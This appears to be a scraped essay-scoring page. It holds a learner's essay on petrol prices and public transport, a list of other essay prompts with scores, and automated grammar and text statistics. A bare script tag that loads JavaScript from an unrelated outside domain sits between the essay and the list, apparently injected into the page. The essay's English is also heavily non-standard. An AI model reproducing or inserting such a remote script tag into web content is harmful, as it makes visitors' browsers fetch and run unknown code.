It is obvious that increasing the price of petrol is the easiest way to tackle traffic and pollution in the short run which is lead to reducing the number of cars on streets. The government can not overlook that traffic and pollution are two main problems that need to be solved by the best strategies for long term.
When the government increase the price of petrol, the people who use this fuel try to gain it by anyway even if the way was dangerous or bad because they need this fuel and moreover the other people try to abuse from this situation and they make black markets which some people sell petrol with huge price and people who need it have to purchase.
On the other hand, factories that produce cars with petrol fuel go to bankruptcy because people intend to buy these cars so these factories try to produce the other cars that consume the other kinds of fuels and are cheaper than those cars what used expensive fuel. It is clear that when these factories produce these cars with mass production methods, the traffic problem increase twice as huge as when the people use the other cars with petrol fuel and aggravate the problem of traffic in the long term.
I think when the government try to invest on public transportation and equip them by decent facilities and encourage the people use these public transportation little by little rate of users who use the public transportation increase which would not be happen if the government do not pay more attention to public transportation and why people do not fond to take the public transportation for their daily travel.This strategy lead to declining the amount of traffic which is absolutely cause to decrease pollution.
In conclusion, I think that increasing the price of petrol is not permanent way to decrease amount of traffic and the government must invest on public transportation and try to increase the level of aware of people to use this way which is lead to decreasing density of traffic and pollution.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- Trade and travel would be easier with a single,global currency that we will use .Do you agree or disagree with this statement?would a single currency cause any problem? 55
- Claim: Any piece of information referred to as a fact should be mistrusted, since it may well be proven false in the future.Reason: Much of the information that people assume is factual actually turns out to be inaccurate. 80
- The exploration and development of safe alternatives to fossil of fuels should be the most important global priority today; to what extent do you agree or disagree? 55
- Modern societies need specialists in certain fields but not in others Some people therefore think that government should pay university fees for students who study subjects that are needed by society those who choose to study less relevant subjects should 77
- Some people believe that visitors to other countries should follow local customs and behavior Others disagree and think that the host country should welcome cultural differences Discuss both these views and give your own opinion 86
Sentence: When the government increase the price of petrol, the people who use this fuel try to gain it by anyway even if the way was dangerous or bad because they need this fuel and moreover the other people try to abuse from this situation and they make black markets which some people sell petrol with huge price and people who need it have to purchase.
Description: The fragment government increase the is rare
Suggestion: Possible agreement error: Replace increase with verb, past tense
flaws:
No. of Different Words: 145 200
Avg. Sentence Length: 43.375 21.0
Sentence Length SD: 22.885 7.5
Need more different words and don't forget punctuation marks.
Attribute Value Ideal
Score: 6.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 1 2
No. of Spelling Errors: 0 2
No. of Sentences: 8 15
No. of Words: 347 350
No. of Characters: 1621 1500
No. of Different Words: 145 200
Fourth Root of Number of Words: 4.316 4.7
Average Word Length: 4.671 4.6
Word Length SD: 2.538 2.4
No. of Words greater than 5 chars: 104 100
No. of Words greater than 6 chars: 69 80
No. of Words greater than 7 chars: 47 40
No. of Words greater than 8 chars: 35 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 43.375 21.0
Sentence Length SD: 22.885 7.5
Use of Discourse Markers (%): 0.5 0.12
Sentence-Text Coherence: 0.465 0.35
Sentence-Para Coherence: 0.689 0.50
Sentence-Sentence Coherence: 0.173 0.07
Number of Paragraphs: 5 5